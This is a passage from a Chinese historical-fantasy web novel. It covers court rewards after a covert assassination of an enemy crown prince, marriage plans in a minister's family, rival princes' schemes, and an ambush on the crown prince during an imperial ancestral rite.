“哈哈......好,好,好。”乾德帝大笑。
朝臣们也瞬间炸开了锅,激动万分。
各种议论声开始响起。
“这是怎么回事?”
“靖王世子出京五年,难道就是受命去完成这件大事的?”
“我的天,太好了。西凉没了太子,他们的帝王也老了,这下有的乱了。”
“是啊,短时间不会再对我南楚出兵了。”
......
“炳煜,是你杀了他,对不对?”太子激动地一把抓住赵炳煜的手。
今日他身子尚可,来上早朝。
“太子,是我们三人一起合力杀的,其中钟离将军出力最大。”赵炳煜微笑道。
“本宫谢谢你们,你们为本宫报仇了。”太子激动的声音带着哽咽。
不顾身份,抱住赵炳煜,眼泪瞬间湿了眼眶,滴在赵炳煜的肩头。
“皇上早就下了命令,定为你报仇,臣弟做到了。”赵炳煜轻轻拍了拍太子的后背。
太子狠狠眨了几下眼,才放开赵炳煜。
有些失态,但他真的太高兴。
他又双手放在钟离洛肩上:“钟离将军,本宫记你一大恩。”
辰王和霁王也正好今日解禁,也来上早朝。
挨了三十板子,养了一个月才养好。
两人同时上前向太子祝贺。
两人当然也很高兴西凉的太子**。但心里除了高兴,自然也想得更多。
西凉的太子武艺高强,还统领过军队,能文能武的储君,突然没了,肯定会查清是谁杀的。
如果查到是南楚所为,定会反扑。
而这就是一个机会,就算不反扑,也可以利用此事。
两人都想到一块去了。
乾德帝高兴地在龙椅前不停走动来缓解自己的激动。
直到他把那股高兴劲儿压下才停下脚步。
“皇上,这是大喜事啊。”老丞相温思邈激动得双手发颤。
有生之年,让他听到这等好消息,现在死也值了。
“恭喜皇上,恭喜太子
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。”有人高喊。
接着朝臣们都欢呼起来。
还有人喊靖王世子,钟离将军,赵将军英武。
朝堂一派欢乐景象。
乾德帝压了压手。
林德全也高喊一声“肃静”,大家才安静下来。
“众位爱卿,此事是大喜事,但今日在朝之人,不得把此消息传播出去。以免引得西凉皇报复。如若谁说漏了嘴,朕绝不轻饶。”乾德帝警告道。
其实他知道没什么作用,迟早会传出去,但迟一天是一天,给南楚一些准备时间。
“臣遵旨。”众人齐声。
“哈哈......”乾德帝又大笑两声,“赵炳煜听旨。”
赵炳煜又跪下。
“赵氏子弟赵炳煜,不负朕之所望,远赴西凉刺杀西凉太子,立下不世之功,今朕特封你为一品亲王,赐封号永安,可**三代。”乾德帝实在太高兴。
一品亲王,与辰王和霁王一个品级,而且还有封号,还可以**三代。
这是何等的荣耀。
就是辰王和霁王的王位也只有他们才能得封,下一代只能是郡王,再下一代连王爵都没了。
有能力的或许可以封个国公。没能力的,只能说是皇室宗亲。
“臣叩谢皇上。”赵炳煜也如乾德帝那般高兴。
“钟离洛听旨。”乾德帝一声高喊。
钟离洛高大的身躯上前两步跪下。
“武状元钟离洛,与赵炳煜协作刺杀西凉太子,功不可没,朕特封你为忠勇伯,赐三进宅子一座,再晋升为忠武将军,统军五万,即日可上任。”
“臣叩谢皇上。”钟离洛比赵炳煜更激动。
他怎么也没想到会有爵位,还是伯爵。
这份光荣来得太突然,让他喜不自胜。
突然,一个女子的身影进入他的脑海里。
他是不是有资格向她提亲了?
“皇城司使赵壑听旨。”
林宇假扮的赵壑跪下。
“此行,你的功劳也不小,赏黄金千两,绸缎二十匹,宝马一匹。哪天你看上哪个姑娘,可以向朕请旨赐婚。”
“谢皇上赏赐。”林宇也很高兴。
跟着头儿出一趟门就得了这么多好东西。
对赵壑的赏赐一说完,朝臣们一个个都面面相觑。
怎么前面两个都重赏,到了赵壑怎么区别那么大?
第164章 好孩子,辛苦你了
平时,皇上不是最信任赵壑吗?
怎么这种时候反而只是给些财物,就连官职都没升一升。
可朝臣们看不到林宇的脸,不知道是高兴还是失望。
同时也让辰王和霁王产生怀疑。
赵壑到底是真得父皇宠信还是做给朝臣们看的。
对于皇上对三人的封赏,没有一个朝臣站出来反对封赏过重。
杀了敌国太子,这样的功劳,无人能及。
“炳煜,几年不见,一见面,你就立了如此大功,真是了不起啊。”辰王上前拍了拍赵炳煜的肩。
“大堂兄过奖,都是为皇上办差。”赵炳煜敷衍回道。
“炳煜,本王以为你一直在边关历练,原来这么多年,你蛰伏在西凉,难怪这么久都没得到你任何消息。你瞒得我们好苦。”霁王也笑道。
“皇命如此。”赵炳煜不想多谈。
“下了朝,去本王府里,我们兄弟好好喝两杯。本王收藏了不少好酒,就等着你回来。”辰王发出邀请。
皇帝的重赏,让他看到了这个堂弟身上的价值。
五年不见,一见面就立了这么大的功,还被封为亲王,父皇对他真是好。
此时辰王的心里嫉妒横生。
但他还有理智,一个堂弟,怎么也不可能继承皇位。
“大皇兄,不能专美啊,臣弟也去凑个热闹,也尝尝你收藏的好酒。”霁王哪里能让辰王如愿。
辰王一怔。
这个老二,不知道先来后到吗?谁要请他了?
“呵呵,行啊。改日你再来,今日本王只想与炳煜好好说说贴己话。”辰王一点面子都不给。
霁王也不恼:“好说,炳煜,改日也到本王府里来。不对,以后得称你为永安王了。”
“多谢两位堂兄,我这刚回来,还是先去未来岳父家拜访一下比较好。”赵炳煜找了个完美的理由。
同时还向霍鹏程点了点头,算是打个招呼。
这个早朝,乾德帝再也听不进其他事,早早就散了朝,把三人叫进书房。
“赵炳煜,你好大的胆子。”乾德帝把笑容一收,怒喝。
赵炳煜立刻跪地,但什么也没说。
另两人也立刻跪下。
不是刚刚才重赏了吗?怎么突然就龙颜大怒了?
钟离洛和林宇有些摸不着头脑。
“朕派你去漳州府把西凉的据点给端了,你竟然偷偷摸摸去了西凉。你那点本事,能敌得过几人?你居然敢。
要是你有个三长两短,你让朕怎么对得起你死去的母妃,怎么对得起你皇祖父和皇祖母?”乾德帝气赵炳煜没把自己的安危放在第一位。
“皇伯父,是侄儿鲁莽了。”赵炳煜立刻认错,但心里却暖暖的,皇伯父是怕他有个万一。
“侄儿知道您的心病,为太子报仇。您说让侄儿三年内完成,但这次有了钟离将军相助,侄儿有了七成的把握,所以就大胆了一回,不负所期,我们真的做到了。”赵炳煜抬起头来。
眼含期待地看着面前的老人。
他想早些实现皇伯父的愿望。他怕时间拖得太久,皇伯父可能没有机会看到了。
凝玉告诉过他,最多还有两年,皇伯父的生命就走到了尽头。
**现在还会不会如凝玉的前世那般,但他不敢赌。
同时他把此事提前,皇伯父一高兴,或许能活得久些。
“好孩子,辛苦你了。”乾德帝当然是故意生气的。看到孩子这么有孝心,他也装不住了。
亲手把赵炳煜扶起来。
“你们两个也起来吧。”
三人起身,乾德帝让他们都坐下说话。
“与朕说说,你们是怎么办到的?”乾德帝问道。
心里又把赵炳煜埋怨一通。
这么大的事都不与他提前说说,人到了金銮殿才说出来,瞒得这么紧。
“去年您让我在三年内杀西凉太子。我就派了人去西凉,与我们安插在西凉的探子接头,专门打听西凉太子的消息。
消息早就传回来了。
西凉太子的生活习性,喜好,爱去哪里,我都了然于心。
只是苦于我手里没有得力的助手,一直没行动。
而那西凉太子也是武艺高强之人,身边有十大护卫,个个了得。
想要杀他,只能出其不意。
钟离将军在武举会试中脱颖而出,让我看到了一丝希望。
所以我才下了决心,提前去完成任务。
好在钟离将军武艺高强,尤其臂力惊人,箭术能做到百步穿
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杨。
我们就趁西凉太子进山狩猎时,藏于暗处,一箭直穿心脏。
然后我们再分散逃离。在逃离时,折损了五人。
太子身边的十个护卫被钟离将军当场就斩了四人,我也斩了一人。
我们特意留了一个破绽指向西凉的明王爷,给我们争取了逃回南楚的时间。”
赵炳煜简单把过程讲了一遍。
“好,钟离洛此次立了大功,还想要什么?朕都满足你。”乾德帝又大方地还要赏。
“为皇上分忧是臣的本分。不敢请赏,且刚才在大殿上已经赏得够多了。”钟离洛不贪心,他知道过犹不及的道理。
乾德帝暗自点头,这小子不错,知进退,不是纯粹的莽夫。
“你们两个先回去吧,炳煜留下。”乾德帝让林德全把两人领出去。
御书房里只剩伯侄两人。
“炳煜,你的真容,他们两个知道了?”乾德帝问。
“是。皇伯父放心,林宇是我最忠心的下属,而钟离洛是凝玉救的,他知道怎么做。且,我也交代过。”赵炳煜解释。
“你以真容回京,是想娶妻了吗?”乾德帝也没怪他让人知道。
不过迟早是要公开的,一两个人知道也无妨。
估计霍家人都知道了。要娶人家女儿,这小子能保密才怪。
“霍家刚娶了媳妇,一年办两次喜事,不太好吧?”赵炳煜是想早点娶妻,可是霍鸣羡比他还急。
“那怕什么,又不是同娶同嫁,而是一娶一嫁。你找钦天监问问,好好给你们算算,如果可以,你今年就把婚事办了吧。你也老大不小了,快二十四了,霍家那姑娘也快十八了吧。”
对这个侄儿,乾德帝是真关心。养在身边多年,比儿子还亲厚几分。
“谢皇伯父。我这就去找钦天监。”
赵炳煜欢天喜地出了御书房,直接去钦天监把事情一说,要他们明天就给他答复。
再出宫直奔霍府。
两个月没见凝玉,他心急火燎。
两个月时间不长不短,可就是让他时时想她。
有思念的人,原来真如说书先生所说,度日如年。
当霍凝玉见到他时,吃了一惊:“你你你,怎么没有......”
第165章 两人都想娶妻
霍凝玉指了指他的脸。
“我以自己的身份回来了。”赵炳煜微笑道。
霍凝玉愣愣看着眼前十分养眼的俊脸,忍不住伸手,摸上他的脸。
赵炳煜把消息捂得很死,谁也不知道他今天回来,也没人知道他出去干什么。
今日进了金銮殿才说出来。
目的自是让他们在回来的路上更安全,要是西凉人知道是南楚人杀了他们的太子,必定倾尽全力也要把他们几人诛杀在回来的路上。
“你......以后还会再戴上面具吗?”霍凝玉认真摸过他脸上的每一个位置。
这一世,她只见过他的真容两次。
这么好看的脸,却长期被面具遮住,她有些心疼他了。
“暂时还会戴着,现在是林宇戴着面具,顶着赵壑的身份。放心,如果你想看,在你面前,我随时可以取下面具。”赵炳煜握住她在他脸上作怪的手。
“好。此行可还顺利?”霍凝玉关心问道。
早朝上的事,乾德帝让保密,没人敢顶风犯事,所以霍凝玉自是不知道。
“很顺利,我这次带上钟离洛去,真是太对了。只一箭就要了西凉太子的命。”赵炳煜兴奋的双眼放光。
“你说什么?你去西凉了?”霍凝玉震惊。
不是说去漳州府的吗?
“呃,我顺便.....去了一趟西凉。”赵炳煜意识到自己说漏嘴了。
在心爱之人面前,他失了防备之心。无形中,他对霍凝玉已完全信任。
“你就是特意去西凉的,对吗?”霍凝玉被吓到了。
要是他在西凉出了事,她要怎么办?
那后果她不敢想。
霍凝玉扑进他怀里,紧紧抱住他的腰肢,来缓解心里的震惊和后怕。
“对不起,让你担心了。
西凉毁了我南楚的太子,圣上早就让我安排报仇之事,要我在三年内必须要了西凉太子的命。
可你告诉我圣上的寿命所剩不多。我怕他等不及,所以才大胆行事,让他的夙愿得以完成。”赵炳煜也紧紧拥住怀里的人。
“我知道。我只是后怕,我没有怪你。只要你平安归来,只要你平安,我都支持你。”霍凝玉闷闷道。
“今日圣上封我为永安王,一品亲王,可以**三代。”赵炳煜喜滋滋地报出喜讯。
希望能博怀中人儿一笑。
“真的?圣上对你这么大方。那钟离大哥呢?是不是也有重赏?”
“他被封为四品将军,还赐了爵位,忠勇伯。”
“太好了。端午那日,我二舅母还问我娘,把表妹许给他为妻,合不合适,这要是成了,现在看来,反而是表妹高攀了。”霍凝玉为表妹高兴。
“只是一个爵位,没有底蕴,其实也不算高攀。一个世家需要多年的积累,而钟离洛在京城什么都没有,皇上只赏了一个宅子。”
“以后会有的。一会儿就把这个好消息告诉我娘。她打算做这个媒人。”霍凝玉笑道。
“凝玉,我们今年就成亲,可好?”说到这个赵炳煜有点心虚。
都没经过她的同意,他就先听皇伯父的,去找钦天监的算日子。
“可是我哥才刚成亲。”
“你是出嫁,关系不大。我让钦天监看看,结合我们的八字,如果没有问题,我们就成亲好不好?我们都不小了,不能再拖了。”他想早点抱得美人归。他想有自己的家,有人在家等他回家。
“可是我家的危机还没解除。”霍凝玉希望一家人真正平安后才嫁人。
“因为你的预知,很多事都变了,你说的那个危机还会不会如期而至,已经不确定。
我们坐等那一日的到来,还不如主动给对方制造机会,这样更能掌握主动权。”赵炳煜自知道霍凝玉是重生的,心里分析过多次。
“你说的有道理。”霍凝玉开始细思,如何给辰王制造机会,“明年春天开始,南楚靠近北魏的三个州会出现大旱,到时可以派我哥去振灾,再派几个户部的官员去。”
“什么?”赵炳煜吃了一惊。
两人刚刚交了真心,他就走了,都没听凝玉好好说说她前世所看到的。
霍凝玉重重点了点头。
“好,就利用这个机会。让岳父大人放松点,给辰王机会,安排几人进户部。”赵炳煜做出决定。
“什么岳父大人,我们还没成亲呢。”霍凝玉瞪了他一眼。
两人又述说了好一会儿离别之情,最后还
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是萧婉仪派人来叫他们去吃饭才停下。
两人来到主院,萧婉仪正在帮着安排摆饭。
“大嫂。”
“表妹。”
“煜表哥,你才刚回来就把霍当家自己家了?”萧婉仪故意取笑,一点没见外。
她今日其实是第一次见赵炳煜,之前是带着面具的赵壑。
所以她不知道赵炳煜早就把霍家当自己家了。
“等我与凝玉成了亲,改口叫大嫂,更是亲,这里就是我家。”赵炳煜脸皮厚如城墙。
“哈哈......我看你是想做上门女婿。”
“你们在笑什么?”容华芝从外面进来,就看到大儿媳妇笑得张扬。
“你是?”容华芝一时没认出来取下面具的赵炳煜。
他从没在容华芝面前露过真容。
“炳煜见过岳母大人。”赵炳煜郑重一礼。
“你是赵炳煜!”容华芝终于反应过来。五六年没见他的真容,一时真没想起来。
“你怎么......”她想说怎么把面具取下来了,想到他另一个特殊的身份,儿媳妇并不知道,又顿住。
赵炳煜又把今早的事说了一遍
“我的天,你居然办成了这么大的事。可有受伤?”容华芝惊呼。
“谢岳母关心,没有。”赵炳煜对岳母的关心很受用,在她面前转了一圈。
容华芝见他当真好好的,才放心。
而就在这时,钟离洛也来了,被管家领进来的。
他刚才被内务府的人领着去看圣上刚赏的宅子。
三进的宅子,不算大,但住他完全够了。里面收拾得很干净,提了行李就可以住进去。
“钟离大哥,恭喜恭喜。”霍凝玉衷心祝福。
“阿洛,恭喜你。”容华芝也不落后。
“容姨,谢谢你这些日子的照顾,皇上赏了我一个宅子,我打算今日就搬过去住,想把宅子好好添置一下。”钟离洛说到这里顿住,傻傻地摸了摸头,一副还有话要说又不好意思的模样。
“是不是打算添置好,准备娶妻了?”容华芝替说出来。
“还请容姨为我做媒。”钟离洛深深一揖。
“你看上谁家姑娘了?”这时一个突兀的声音在门口响起。
第166章 一个比一个急
正是利用中午饭点特意回家的霍鹏程,脸上的笑容,如沐春风。
今日朝堂上,赵炳煜报出来的喜事,让他也激动不已。
未来女婿从郡王变成亲王,这等荣耀,百年难遇。
“霍叔。”
“岳父。”
赵炳煜和钟离洛同时行礼。
霍鹏程的眼神在两人身上来回看。
“哈哈.....本官的身份已经受不起你们的礼了。”他嘴上虽这么说,却理所当然地受了他们的礼。
“我们是晚辈。不管什么时候,您都受得起。”钟离洛很直爽。
“父亲,快坐下,我们正要开饭。”萧婉仪笑着请大家入座。
都不是外人,同坐一桌,其乐融融,谈笑风生。
只是刚放下筷子,钦天监的监正大人沈阔就来了,一个五十多岁的老大人,但精神头很足,一进来就笑呵呵地与众人见礼。
“见过永安王爷,忠勇伯爷,尚书大人。”
“沈大人怎么上我霍府来了?”霍鹏程有些奇怪。
“沈老头儿,是不是算出好日子了?”没等他回答,赵炳煜就等不及了。
“回王爷,正是。今年腊月初八正是好日子,且已是年底,并不会冲撞霍状元与六公主的运程。”
“腊月啊,还有好几个月呢。”赵炳煜有点不满。
“王爷,只有这个日子最好,而且正好娶妻过年,来年就能生个大胖小子,正好是秋天,不冷不热,好坐月子。”沈阔把话说得很好听。
其实他很想说,其实这个日子是圣上定的。
他选了几个好日子,圣上却挑了最迟的一个,圣上一定是故意的,还叮嘱他不许说,就说这个日子最好。也不知道圣上是什么意思。
“腊月就腊月吧。”赵炳煜无奈,但被大胖小子给安慰到了。
大家都听明白了,赵炳煜刚以自己的身份回京就急着娶妻。
霍凝玉被沈大人的话羞得满脸通红。
“妹妹,这是好事。”萧婉仪牵起她的手笑道。
“岳父,岳母,我这就回去准备聘礼。”赵炳煜一刻也不能等的着急样。
“明日你就要随皇上去华云山,而你今日才刚回来,还是好好休息休息。”容华芝心疼道。
这孩子,也不知道多顾着点身体,再年轻也会累呀。
“多谢岳母关心,我这就回去好好休息,让管家帮我准备。”
赵炳煜风风火火走了,钟离洛才有机会说自己的事。
“请容姨帮我向容家琳媛小姐提亲。”钟离洛郑重一揖。
他现在的身份应该能配得上容小姐了,之前他都不敢想。
至于他对霍凝玉刚开始的那点小心思,只是萌了个芽就被他掐灭。
但救命的恩情,他会记一辈子,只要她有需要,他绝不容辞。
“放心,二嫂早就找我谈过了,只是碍于你离京不在,才没同你说。现在你回来了,自是要提上日程。
明日要随皇上去华云山避暑,择日不如撞日,我们今日就去,先交换庚帖。”容华芝也是雷厉风行的性子。
钟离洛在霍家住了这么久,容华芝早就把他当自家子侄看待。
“对了,你的婚事不用经过家里同意吗?”容华芝突然想到这事。
他没有父母,但家里还有祖母在,还有大伯,大伯母在。
“容姨,去年我被刺杀一事,我已写信告诉大伯和祖母。我与大伯已经分家,是祖母做的决定。”
言外之意就是,现在他就是一家之主,自己做自己的主。
“太好了,以后你就在京城安家。把自己的小日子过好就行。”容华芝对这个消息很满意。
自己的亲侄女,她当然希望她过得好。嫁了人,上没有公婆,下没有小姑,就夫妻俩,这种日子最是舒心。
当场霍鹏程就帮着写了钟离洛的庚帖,墨迹新鲜,就被带走了。
两家都熟识,而且钟离洛还是今日新封的忠勇伯,容家当然求之不得。
很顺利就交换了庚帖。
霍凝玉趁他们谈事时,来到表妹院里。
两姐妹说悄悄话。
“表妹,你可中意钟离大哥?”霍凝玉想知道表妹的真实想法。
虽然那次在自家园子里看到表妹和钟离大哥私下见面,但两人有没有发展到情投意合,真不好说。
毕竟他们两人接触很少,要说有浓厚的感情,应该不可能。
“我.......我也不知道。”容琳媛羞红了脸。
“那你对嫁给他有没有不
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乐意的想法?”霍凝玉换个问法。
“没有。我觉得钟离公子人很好。虽然长得粗壮,但并不凶。”这是容琳媛的真实想法。
他是训过她,但那是为她好。
“嘿嘿,我知道了。”
“你知道什么了?”容琳媛娇嗔道。
“你们就是两情相悦,不过是你自己都不知道罢了。你看钟离大哥刚一回来就央着我娘来提亲,说明他中意你,而你又说他很好。这不就是两情相悦吗?”
霍凝玉的话让容琳媛的脸更红了。
是这样吗?
七月初五,皇帝出行,带着文武三品以上官员和一些勋贵之家,去离京一百里左右的华云山,那里正是钟离洛老家所在的京畿县昌林县。
华云山山脉众多,占地辽阔,是一个山群。
在一座相对比较平坦的山顶有行宫,专为皇帝避暑之用,也是前朝留下的行宫。
山高一尺,土冷三寸,山顶比山下凉快很多,又有各种树荫,是个避暑的好地方。
皇帝到了这里,这里就成了小朝廷,权力的中心。
皇帝每日也早朝,但参与的不多。也就十几人。
一切命令的传达全靠各部的小吏和衙差。
辰王和霁王正好昨日满禁足时间,也带着家眷,跟着来了。
而霍家只有霍凝玉母女和霍鹏程跟来。
大哥大嫂和二弟留在京城。
只用了一天时间就到了地方,安顿好已是晚上。
行宫建得很大,安顿下跟来的官员之家完全没问题。
但房子不是一个个院子,而是东南西北围了两圈,帝后,妃嫔,还有宗亲,住内围,其他住外围。
整个行宫的正中间是一个大大的祭台。
眼看就要七月十五,中元节,礼部和钦天监早已安排好那日祭祀皇室先祖。
同时也给各家准备了祭祀地点,就在祭台周围。
晚上,忠义伯谢勋悄悄找到辰王。
昨日钟离洛被封忠勇伯,与他地位相当,且皇上直接让他统领五万兵,这大大超出了他的意料。
而钟离洛与霍家的关系实在太亲近,让他产生强烈的危机感。
“王爷,我们在军中的势力相对,陡然弱了不少,这可如何是好?”
第167章 两个王爷都有安排
“你是担心你的地位受到威胁吧?”辰王一眼看穿谢勋的小心思。
“王爷,现在皇上封了一个忠勇伯,摆明了想要下我谢家的爵位,这都快一年了,也不批我谢家请封世子的折子。就算不批我大儿子,臣还有个小儿子,也不批,臣这心里确实着急啊。”
谢勋为此动用了不少人脉,可是都没用,辰王又不帮着说句好话。
“这一年来,你谢家并没有建树,父皇有什么理由批你?”辰王心里清楚。
谢家已经是末流,如果没有大的建树,也就到此为止了。
“可......臣在京中,机会太少。”
“你想去战场?”辰王抬眼。
“不是,臣都四十了,再去战场,恐再无机会回京。”谢勋可不想去战场,他怕死。
荣华富贵他想要,可他不想用自己的命去换给儿孙后代。
“既然如此,你就老老实实,不要惹事。”辰王对谢勋并不十分看重,能力不足。
他那个儿媳妇还有点用。不过这样的人,只要给点机会,他就知道钻。
“是。”谢勋只能落寞地一拱手。
“不过,也不是完全没机会。”辰王又幽幽道。
“什么机会?”谢勋眼睛亮了亮。
“此次来此避暑,或许是个机会。”
“还请王爷明示。”谢勋心里有个大胆的猜测,但不敢说出来。
“赵炳煜,赵壑和钟离洛三人杀了西凉太子,你说西凉会愚蠢得一点消息查不到吗?”辰王只点到为止。
“你是说他们会报仇?”谢勋震惊。
“你觉得呢?”辰王勾起唇角,眼神带着阴鸷。
“很有可能。谢王爷提点,臣知道怎么做了。”谢勋瞬间明白了辰王的意思。
如果敌人来报复,必是对皇上,太子或者东宫世子下手,他只要护在皇上身边,自有立功的机会。
救驾之功,胜过上战场杀敌一千。
看着离去的忠义伯,辰王的眼神闪过意味不明的光。
这时曾永信进来。
“王爷。”
“都安排好了?”辰王淡声问道。
有些事他不可能让谢勋知道,他只要按自己的要求做事即可。
“都安排好了。”曾永信答道。
“可有老二那边的消息?”辰王对霁王从来没放松过警惕。
“暂时还没有消息,但属下注意到他与于家和崔家多次接触。”曾永信现在是辰王最得力的助手。
表面上是幕僚,而实际却掌握着辰王的很多势力。
“老二也不是个安分的,他不会错过这么好的机会。给本王再增加两个护卫。”
辰王要防范一二,万一老二连他一起对付,他可没有武功在身,会的那点三脚猫,连府里最差的护卫都打不过。
“是,王爷。属下再给您一些**防身。”曾永信也明白了王爷的意思。
与此同时,在西面的霁王也在与自己的下属商量。
他最得力的助手是他的亲卫队长,杜力。
霁王好武,杜力是他最好的陪练。
“王爷,属下看到忠义伯私下与辰王见面。”杜力一直派人盯着辰王,第一时间得到消息。
“不用管他,估计大皇兄也在憋着坏呢,肯定也会趁这次避暑的机会做些什么。谢勋是个贪生怕死的主,不足为惧。”霁王粗中有细。
“是。”
“人手都安排妥当了吗?”霁王问。
“都安排妥当了,只是有一事属下请王爷示下。”杜力一拱手请示。
“你说。”
“如果我们估计错误,没有西凉人出手,我们是否停止计划?”杜力小心问道。
“本王让你放出去的消息没放?”霁王眼一瞪。
“王爷放心,属下查到西凉在京城的一个据点,已经把消息放给了他们。”
各国在别国都安插细作,再怎么清都清不完。
清了一批自会有下一批又出现。
哪国都想掌握敌国的动态,这是各国君主都心知肚明的事。
就看谁的本事大,瞒得住消息,清得快细作。
“既然如此,他们肯定会动手。就怕他们的人太没用,起不了多大浪花。最近大半年赵壑端了几个点,也不知道西凉细作还剩多少。”霁王叹了口气,但他相信自己的判断。
此次赵炳煜以永安王的身份陪在皇帝身边,林宇继续扮赵壑。
夜晚的山上甚是凉爽,
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霍凝玉晚上很快睡着。
可是后半夜她却做起了梦,梦见前世看到太子就是在这次避暑时,又被辰王算计了一回,身子更差,就在今年秋天再也起不来床,到年底就撒手人寰。
赵凌哲的身子自那次落水后,落下病根,身子也孱弱。圣上再也没把希望放在东宫。
次日一早醒来,霍凝玉头重脚轻,缓了好一会儿才清醒。
她怎么也想不通为什么会做这个梦。
难道辰王还是会按前世那般算计太子?
到了行宫,自是没有东宫那么安全。
不行,她得去提醒一下赵炳煜。
吃过早膳,霍凝玉让青风把赵炳煜约出来。
两人走出行宫,去林子里的树荫下。
霍凝玉看到行宫外驻扎了不少禁卫军。
“赵大哥,这次带了多少禁卫军?”霍凝玉问道。
“一千人。这里只是他们的营地。他们都会分散在行宫四周日夜巡逻。”赵炳煜解释道。
“赵大哥,昨晚我做了一个梦。”接着霍凝玉把自己的梦说了一遍,而且说明前世太子真实经历了。
“你是说辰王可能在太子的吃食里做手脚,让他的身体更弱?”
“那是原来,但现在很多事情都变了,不知道他还会不会用同样的计划。”霍凝玉只是提醒。
“我知道了。”赵炳煜眼睛危险地眯起。
两人匆匆见了一面,就分开了。
而这一幕正好落入辰王的眼里。
他对霍凝玉总有一种很奇怪的感觉。
明明被父皇赐婚给了赵炳煜,而她自退婚后就与赵壑走得很近。
他也知道是赵壑帮她退的婚。可赵炳煜一回来,她又很快与赵炳煜这般亲近。
如此水性杨花的女人,赵炳煜居然也接受,回来的当天就去找钦天监算成亲的日子。
赵炳煜对她与赵壑亲近完全没感觉。
这很不正常。
辰王打了个手势,一个亲卫上前来。
“王爷。”
“你派个人留意一下永安王和霍县主,看看他们有什么异常,再留意一下赵壑,他们三人之间是什么关系?”辰王低声吩咐。
“是,王爷。”亲卫离去。
第168章 中元节上的变故
霍凝玉刚一回到行宫,就看到赵凌哲一蹦一跳来找她。
“霍姐姐,走,我们去林子里玩。我带了弓箭,给你打几只大鸟,我们中午就在林子里烤鸟吃。”赵凌哲就喜欢找霍凝玉玩。
赵凌哲找了一圈没找到人,遇到赵炳煜才知道她在行宫门口。
霍凝玉也乐得有人一起玩乐。
她的小姐妹,万青黛和顾佳倩都没有资格来行宫,没人陪她玩。
这次出门,霍凝玉换了翡翠和琉璃两个丫鬟。珍珠和玛瑙两人留在府里帮她整理东西。
赵凌哲已经七岁了。比去年从水里救起时长高了不少,经过快一年的锻炼,胳膊腿儿都比那时有力。
脸也因经常习武,被太阳晒得带着小麦色。
“霍姐姐,你看我。”赵凌哲举起弓箭,对准不远处的一棵树干。
树干上正有一只蝉在知知叫着。
蝉的颜色与树皮几乎一样,要不是听到声音,很难发现那里有一只蝉。
赵凌哲从背上的箭筒里抽出一支箭,搭上弓。
拉满,瞄准,放!
“嗖!”
蝉鸣戛然而止。
“哇,小殿下,你什么时候把箭术练得这么好了?”霍凝玉拍手叫好。
琉璃跑过去查看。
“小姐,正中蝉的身体,不偏不倚。”琉璃高兴叫道,用力把箭从树干上拔下来。
箭尖还戳着那只倒霉的蝉。
赵凌哲只是微笑,没有因霍凝玉的夸奖而骄傲。
“走,射鸟去。”霍凝玉一开始还不太相信他能射到鸟作为他们的午餐,现在她信了。
两个东宫护卫不远不近地跟着主子。
霍凝玉原本以为会是他的护卫射鸟下来。
赵凌哲当真没有自夸,射了几只停在树上的鸟,两个护卫帮着处理,中午就在林子里烤鸟肉吃。
霍凝玉长这么大,第一次体验这种乐趣。
回到行宫,霍鹏程正在到处找赵凌哲。
现在都住得不远,每天一有空,霍鹏程就给他上课。
霍凝玉提醒赵炳煜后,过了五天,也没发现任何异常。
太子的身子时好时坏,当年伤了肺腑,最大的问题就是呼吸不畅,导致脸色从来都是苍白的,血气不足,又时常咳嗽。
直到七月十五,中元节祭祀,太子还是老样子。
霍凝玉猜测,辰王应该改变了计划,并不会如前世那般下毒害太子。
但赵炳煜并没有放松,太子的一切用度,他都让人盯着。
十五这日,皇帝带着儿孙祭祀先祖。
这日的华云山行宫,在晨曦微光中显得格外肃穆。就连从天上飞过的鸟都不敢发出声音。
汉白玉阶陛被露水润湿,泛着清冷的光。
乾德帝身着玄色祭服,头戴十二旒冕冠,垂珠在额前轻摇,每一步都踏得沉稳庄重。
太子率领众皇子皇孙紧随其后。七岁的赵凌哲第一次参加如此隆重的祭祀,忍不住抬头望向前面。
祖父的背影在缭绕的烟雾中若隐若现,如与祭坛融为一体。
钟磬齐鸣,乐官高唱祭告之词。
乾德帝亲手将三牲呈于祭案,当他跪拜时,所有人都跟着俯身。
“列祖列宗在上,不肖子孙赵乾敬禀列祖列宗,今年风调雨顺,边疆安定,感念祖德庇佑。”皇帝的祝祷声不高,却字字清晰。
太子依礼上前助祭,却因体弱,奉玉帛时手微微发颤。皇帝目光沉了沉,却没有说什么。
这时,年幼的赵凌哲忽然走到祭案前帮忙。
礼官们面面相觑,太子脸色煞白。就在这死寂的时刻,皇帝俯身抱起他,声音带着温和:“先祖见你这赤子之心,必也欢喜。”
祭祀继续,香烟更盛,好似真的上达天听。
而变故就在这一刻发生了。
太子不知何故,突然猛烈咳嗽起来。身子很快支撑不住,从祭坛上栽了下去。
被下面的一个禁卫接住,而那个禁卫就在接住人的刹那,突然抽出一柄**,直插太子心脏。
赵炳煜反应奇快,一个暗器发出正打在那人手上,可是也只是打偏了一点,**还是**了太子的身体。
“有刺客,护驾。”林德全尖叫。
同来的武将纷纷围拢过来护架。
几个文官也慌不择路冲到皇帝身边。
而就在这时,行宫外四处起了漫天大火。
突然之间,守护在祭坛周边的五十个禁卫军有一半左右,抽出武器杀向皇帝和各皇子。
动作十分迅速。
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>变故一起,乾德帝的龙影卫显身,快速护在他身边。
可赵凌哲看到自己的父王倒在血泊中,急得大哭,挣脱乾德帝就要去拉太子。
可是太子已经晕过去。
一时之间,整个祭坛一片混乱。
禁卫军着装统一,一时间不知谁是敌谁是友。
可就在这时,行宫外又传来一片喊杀声。
霍凝玉作为女子,自是不能参与祭祀,但站在不远处看着,身边是太子妃。
当看到太子被刺的那一瞬,太子妃惊得石化,然后发出悲凄的尖叫:“太子殿下。”
就要奔过去。
被霍凝玉死死拉住。
“太子妃,你不能过去,快回寝宫躲起来。只有你活得好好的,世子才有依靠。”霍凝玉此时已经不抱希望太子还能活。
可是太子妃哪里会听霍凝玉的话。
那是她的夫君,她一生的依靠。要是太子没了,他们娘儿俩要怎么活?
“太子妃,冷静,你听,外面又有人杀进来了,现在不是悲伤的时候,你必须活着。”
“不,本宫要去把太子带过来。”
霍凝玉见劝不动,向青风使了个眼色。
青风毫不犹豫,一个手刀打晕了太子妃。
“你们两个把太子妃扶回寝宫,那些人不会杀太子妃。”霍凝玉立刻吩咐太子妃的两个贴身丫鬟。
两人也被祭坛处的厮杀给吓得回不过神来。被霍凝玉叫住才反应过来,扶起太子妃匆匆后退。
行宫外的喊杀声越来越近,霍凝玉眼神冰冷,真是好大的手笔。
不知道是西凉人所为还是哪位王爷所为,或者多方都参与了其中。
